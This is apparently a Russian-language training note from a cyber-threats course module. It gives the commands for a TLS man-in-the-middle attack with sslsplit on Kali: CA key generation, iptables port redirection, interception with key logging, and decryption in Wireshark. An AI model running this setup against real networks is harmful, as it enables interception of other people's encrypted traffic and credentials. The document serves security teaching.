# SSL Split Attacks

Создать SSL ключи для подмены

> mkdir ssl
> cd ssl/
> openssl genrsa -out ca.key 4096

Настроить маршрутизацию в Kali

> iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
> iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
> iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
> iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
> iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
> iptables -t nat -A PREROUTING -p tcp --dport 5222 -j REDIRECT --to-ports 8080

Создать директории

> mkdir /tmp/sslsplit/
> mkdir logdir

Выполнить команду

sslsplit \
  -D \
  -l connections.log \
  -j /tmp/sslsplit/ \
  -M ssl_key_logfile \
  -S logdir/ \
  -k ca.key \
  -c ca.crt \
   ssl 0.0.0.0 8443 \
   tcp 0.0.0.0 8080

Добавить SSL сертификат в доверенные
> Wireshark Preferences > Protocols > SSL Log file

###### tags: `Cyber Infrastructure Threats`, `1 модуль`